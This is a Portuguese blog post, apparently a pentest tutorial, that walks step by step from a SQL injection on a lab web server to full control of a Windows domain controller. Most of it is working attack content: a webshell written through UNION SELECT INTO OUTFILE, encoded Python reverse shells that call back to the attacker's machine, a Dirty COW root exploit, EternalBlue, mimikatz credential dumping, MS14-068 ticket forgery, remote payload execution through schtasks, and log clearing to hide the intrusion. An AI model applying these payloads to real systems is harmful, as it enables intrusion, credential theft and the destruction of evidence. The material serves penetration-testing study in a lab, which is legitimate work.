Exploração de Movimento Lateral em Redes Internas

Ataques de movimento lateral são cruciais em cenários de pentest interno, visando expandir o acesso a recursos valiosos após a quebra inicial de um perímetro. Este guia detalha uma metodologia abrangente para comprometer um ambiente de domínio, partindo de uma vulnerabilidade web até o controle do controlador de domínio.

Cnofiguração do Ambiente de Teste

Máquina de Ataque: Kali Linux
Servidor Web Comprometido: CentOS 6.4 (com serviço web rodando)
Estação de Trabalho Membro do Domínio: Windows 7 (sem acesso à internet)
Controlador de Domínio: Windows Server 2008 R2 (sem acesso à internet)

O objetivo primário é escalar privilégios no servidor web e, em seguida, pivotar para a rede interna, culminando na obtenção de acesso de administrador ao Controlador de Domínio (DC).

Fase 1: Compromisso do Servidor Web

1.1. Reconhecimento Web

Inicia-se com a varredura de diretórios para identificar arquivos e estruturas sensíveis. Ferramentas como gobuster ou dirsearch podem ser empregadas para essa finalidade, utilizando dicionários comuns. Por exemplo:

gobuster dir -u http://<IP_ALVO>:8888 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

A descoberta de arquivos como phpinfo.php pode revelar informações cruciais, incluindo o caminho absoluto da aplicação no servidor, um dado valioso para futuras explorações.

1.2. Identificação e Exploração de SQL Injection

Após a varredura, a análise de parâmetros de URL e formulários pode revelar vulnerabilidades de SQL Injection. Suponhamos que um parâmetro inteiro em newsshow.php seja vulnerável a injeção. A validação pode ser feita com payloads simples ou com ferramentas automatizadas como sqlmap:

sqlmap -u "http://<IP_ALVO>:8888/newsshow.php?cid=4&id=19*" --dbms=MYSQL --risk=3 --level=5

1.3. Obtenção de Webshell

Com a vulnerabilidade de SQL Injection confirmada e o caminho absoluto do servidor conhecido (obtido via phpinfo.php), é possível escrever um webshell diretamente no sistema de arquivos do servidor. Um método comum é usar a funcionalidade --os-shell do sqlmap ou um ataque UNION SELECT com INTO OUTFILE.

Injeção Direta de Webshell via UNION SELECT

Um exemplo de payload para injetar um webshell PHP simples que executa comandos via parâmetro GET cmd:

http://<IP_ALVO>/newsshow.php?cid=4&id=19 AND 1=2 UNION SELECT 1,2,3,4,5,6,7,8,0x3c3f7068702073797374656d28245f4745545b27636d64275d293b3f3e,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 INTO OUTFILE '/var/www/html/backdoor.php'

O valor hexadecimal 0x3c3f7068702073797374656d28245f4745545b27636d64275d293b3f3e decodifica para <?php system($_GET['cmd']);?>.

Usando sqlmap para um OS Shell

Alternativamente, o sqlmap pode ser usado para obter um shell de sistema operacional diretamente:

sqlmap -u "http://<IP_ALVO>/newsshow.php?cid=4&id=19*" --os-shell

1.4. Estabelecimento de Reverse Shell Avançado

Um webshell é rudimentar. Para operações mais complexas e estáveis, um reverse shell é preferível. Como o servidor web é Linux e geralmente possui Python, podemos usá-lo para estabelecer um Meterpreter ou um shell Netcat.

Reverse Shell Meterpreter (Python)

Geramos um payload Python com msfvenom:

msfvenom -p python/meterpreter/reverse_tcp LHOST=<IP_KALI> LPORT=4444 -f raw -o /tmp/shell.py

No Kali, configuramos um handler para escutar a conexão:

msfconsole
use exploit/multi/handler
set PAYLOAD python/meterpreter/reverse_tcp
set LHOST <IP_KALI>
set LPORT 4444
run

No shell do servidor web, executamos o payload Python. Podemos codificá-lo em base64 para evitar problemas com caracteres e executar diretamente:

python -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCwgb3MsIHB0eQpMVEhPU1QgPSAnMTkyLjE2OC4xLjEwMCcgICMgS2FsaSBMaXN0ZW5lciBJUApMUE9SVCA9IDQ0NDQKcyA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkVBTSkKcy5jb25uZWN0KChMVEhPU1QsIExQT1JUKSkKZm9yIGZkIGluIFswLCAxLCAyXTogCiAgICBvcy5kdXAyKHMuZmlsZW5vKCksIGZkKQpvcy5wdXRlbnYoJ0hJU1RGSUxFJywgJy9kZXYvbnVsbCcpCnB0eS5zcGF3bignL2Jpbi9iYXNoJykKcy5jbG9zZSgpCg==' )))"

(Nota: O payload base64 acima é um exemplo simplificado. O LHOST (IP do Kali) deve ser ajustado para o endereço IP real da sua máquina de ataque.)

Reverse Shell Netcat (Python)

Para um shell simples via netcat, no Kali:

nc -lvnp 7777

No shell do servidor web, execute:

python -c "import socket as s_mod,os,pty;s_obj=s_mod.socket(s_mod.AF_INET,s_mod.SOCK_STREAM);s_obj.connect(('<ip_kali>',7777));[os.dup2(s_obj.fileno(),fd) for fd in (0,1,2)];os.putenv('HISTFILE','/dev/null');pty.spawn('/bin/bash');s_obj.close()"
</ip_kali>

Fase 2: Escala de Privilégios no Servidor Web

Com um reverse shell estável, o próximo passo é escalar para privilégios de root no servidor web.

2.1. Verificação do Kernel

Identifique a versão do kernel Linux para procurar por vulnerabilidades conhecidas:

uname -a

2.2. Exploração de Vulnerabilidades Conhecidas

Supondo que uma versão vulnerável do kernel esteja em uso, como no caso do "Dirty Cow" (CVE-2016-5195). Baixe o exploit (geralmente em C), compile-o e execute-o para obter um shell de root. Por exemplo:

cd /tmp/
wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirty.c
gcc -pthread dirty.c -o local_root -lcrypt
./local_root new_root_pass

Após a execução, um novo usuário com privilégios de root (ou uma mudança na senha do root) pode ser estabelecido. Lembre-se de reverter as alterações no arquivo /etc/passwd, se aplicável, para não impactar o sistema.

Fase 3: Movimento Lateral na Rede Interna

Após obter acesso como root no servidor web, a próxima fase é identificar e explorar outros sistemas na rede interna, geralmente inacessíveis diretamente da internet.

3.1. Configuração de Proxy para Rede Interna

O servidor web agora serve como pivô. É essencial configurar um proxy para rotear o tráfego da máquina de ataque (Kali) para a rede interna.

Proxying com Meterpreter (autoroute)

Se utilizando um Meterpreter shell, o comando autoroute é a maneira mais simples de adicionar rotas para sub-redes:

meterpreter > run autoroute -s 10.0.1.0/24
meterpreter > run autoroute -p

Isso adiciona uma rota para a sub-rede 10.0.1.0/24 através da sessão Meterpreter.

Proxying com ReGeorg e Proxychains

Para maior flexibilidade ou em situações onde Meterpreter não é viável, ReGeorg pode ser usado para criar um túnel HTTP. Primeiro, carregue o script tunnel.nosocket.php no servidor web:

# No Kali, baixe os arquivos
wget https://raw.githubusercontent.com/sensepost/reGeorg/master/reGeorgSocksProxy.py
wget https://raw.githubusercontent.com/sensepost/reGeorg/master/tunnel.nosocket.php
# Use o webshell ou o reverse shell para fazer upload do tunnel.nosocket.php para /var/www/html/
# Exemplo via curl para upload:
# curl -F "upload=@tunnel.nosocket.php" http://<IP_ALVO>:8888/backdoor.php?cmd=upload

No Kali, execute o script cliente do ReGeorg:

python reGeorgSocksProxy.py -p 9999 -u http://<IP_ALVO>:8888/tunnel.nosocket.php

Em seguida, configure o proxychains para usar este proxy SOCKS5. Edite /etc/proxychains.conf e adicione no final:

socks5 127.0.0.1 9999

Agora, qualquer comando prefixado com proxychains será roteado pela rede interna.

3.2. Varredura de Ativos na Rede Interna

Com o proxy configurado, podemos varrer a rede interna em busca de novos alvos e vulnerabilidades.

Varredura de Portas com Metasploit

Utilize módulos do Metasploit para varrer portas comuns na sub-rede interna:

proxychains msfconsole
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.0.1.0/24
set PORTS 21,22,80,139,445,3389,5985,8080
set THREADS 20
run

A varredura pode revelar sistemas como 10.0.1.9 (Win7) e 10.0.1.254 (Win2008R2), ambos com portas 445 (SMB) e 3389 (RDP) abertas, indicando sistemas Windows.

Varredura de Vulnerabilidade MS17-010 (EternalBlue)

Priorize a busca por vulnerabilidades de alto impacto, como a MS17-010 (EternalBlue) em serviços SMB:

use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 10.0.1.0/24
set THREADS 10
run

Identifique um host vulnerável, por exemplo, 10.0.1.9.

3.3. Exploração do MS17-010

Utilize o exploit EternalBlue do Metasploit para obter um shell na máquina Windows vulnerável:

use exploit/windows/smb/ms17_010_eternalblue
set PAYLOAD windows/x64/meterpreter/bind_tcp
set RHOSTS 10.0.1.9
set LPORT 4445 # Porta para o bind_tcp no alvo
run

Após a exploração bem-sucedida, uma sessão Meterpreter será estabelecida no Windows 7, que agora servirá como um novo pivô.

Fase 4: Comprometimento do Domínio

Com acesso a uma máquina membro do domínio (Win7), o foco muda para o compromisso do Controlador de Domínio (DC).

4.1. Coleta de Informações no Host Comprometido (Win7)

Na sessão Meterpreter do Win7, colete informações vitais:

Informações do Sistema: sysinfo
Nome do Domínio: net config workstation ou getprivs (pode mostrar o domínio)
Usuários Logados e SID: Use módulos como run post/windows/gather/enum_logged_on_users para identificar usuários e seus SIDs.
Dumping de Credenciais: Carregue o módulo mimikatz e execute sekurlsa::logonpasswords para extrair credenciais em texto claro ou hashes da memória. Isso pode revelar usuários do domínio e suas senhas.

Por exemplo, podemos obter o usuário usuario_teste@dominioexemplo.com com a senha SenhaF0rte! e um SID como S-1-5-21-XXX-YYY-ZZZ-1111.

4.2. Localização do Controlador de Domínio

Identifique o IP do Controlador de Domínio:

net group "Domain Controllers" /domain
ping dc-server.dominioexemplo.com

Suponhamos que o DC esteja em 10.0.1.254 e o domínio seja dominioexemplo.com.

4.3. Exploração MS14-068 (Golden Ticket Forge)

A vulnerabilidade MS14-068 permite a elevação de privilégios para qualquer usuário do domínio, forjando um Ticket Granting Ticket (TGT) Kerberos válido. Este TGT pode ser usado para obter acesso irrestrito ao domínio.

Geração de TGT com Ferramentas Python

Utilize um script como krbtgt_exploit.py (um aálogo ao ms14-068.py) para gerar um TGT. Lembre-se de usar proxychains se o Kali ainda não tiver rota direta para o DC:

proxychains python krbtgt_exploit.py -u usuario_teste@dominioexemplo.com -s S-1-5-21-XXX-YYY-ZZZ-1111 -d 10.0.1.254 -p SenhaF0rte!

Isso gerará um arquivo .kirbi, que é o TGT forjado.

Geração de TGT com Módulo Metasploit

O Metasploit também possui um módulo para MS14-068:

use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
set DOMAIN dominioexemplo.com
set USER usuario_teste
set PASSWORD SenhaF0rte!
set USER_SID S-1-5-21-XXX-YYY-ZZZ-1111
set RHOST 10.0.1.254
run

O resultado será um arquivo .kirbi.

Conversão e Importação do TGT Forjado

O arquivo .kirbi precisa ser convertido para o formato .ccache e importado na máquina pivô (Win7) para ser utilizado.

Converta .kirbi para .ccache: Use uma ferramenta como ticket_converter.py.

python ticket_converter.py TGT_usuario_teste@dominioexemplo.com.kirbi TGT_cache.ccache

Gere Payload para o DC: Crie um executável que se conecte de volta ao Kali, mas que será executado no DC. Um bind_tcp é adequado para este cenário, pois o DC estará esperando por conexões.

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=5555 -f exe -o /tmp/payload_dc.exe

Configure Handler no Kali:

msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/bind_tcp
set RHOST 10.0.1.254
set LPORT 5555
run

Upload de Ferramentas para Win7: Transfira o .ccache, mimikatz.exe e payload_dc.exe para o Win7 (por exemplo, em C:\Users\public\tools\).
Limpe e Importe o TGT no Win7: No shell do Win7, use klist purge para limpar tickets existentes e depois importe o TGT forjado com mimikatz.

cd C:\Users\public\tools\
mimikatz.exe "kerberos::ptc TGT_cache.ccache" exit

Copie o Payload para o DC e Agende Execução: Com o TGT importado, você tem privilégios para interagir com o DC. Copie o executável para uma pasta compartilhada (como C$) no DC e agende sua execução via schtasks.

copy payload_dc.exe \\10.0.1.254\C$\Windows\Temp\
schtasks /create /s 10.0.1.254 /tn "UpdateTask" /tr "C:\Windows\Temp\payload_dc.exe" /sc ONCE /st 01:00 /ru SYSTEM
schtasks /run /s 10.0.1.254 /tn "UpdateTask"

Verifique o status do agendamento com schtasks /query /s 10.0.1.254 /tn "UpdateTask". Uma vez executado, o handler no Kali receberá uma conexão do Controlador de Domínio, concedendo controle completo.

4.4. Limpeza e Ocultação de Traços

Para finalizar, é essencial remover todos os artefatos e logs para cobrir os rastros do ataque.

Remover Agendamento e Payload do DC:

schtasks /delete /s 10.0.1.254 /tn "UpdateTask" /f
del \\10.0.1.254\C$\Windows\Temp\payload_dc.exe

Remover Ferramentas do Win7:

del C:\Users\public\tools\*.*

Limpar Logs do Windows: Na sessão Meterpreter, utilize clearev para apagar os logs de eventos do Windows, ou realize manualmente via shell.

Tags: pentest RedesInternas SegurançaOfensiva SQLInjection Webshell

Publicado em 7-21 16:35

Doido Dev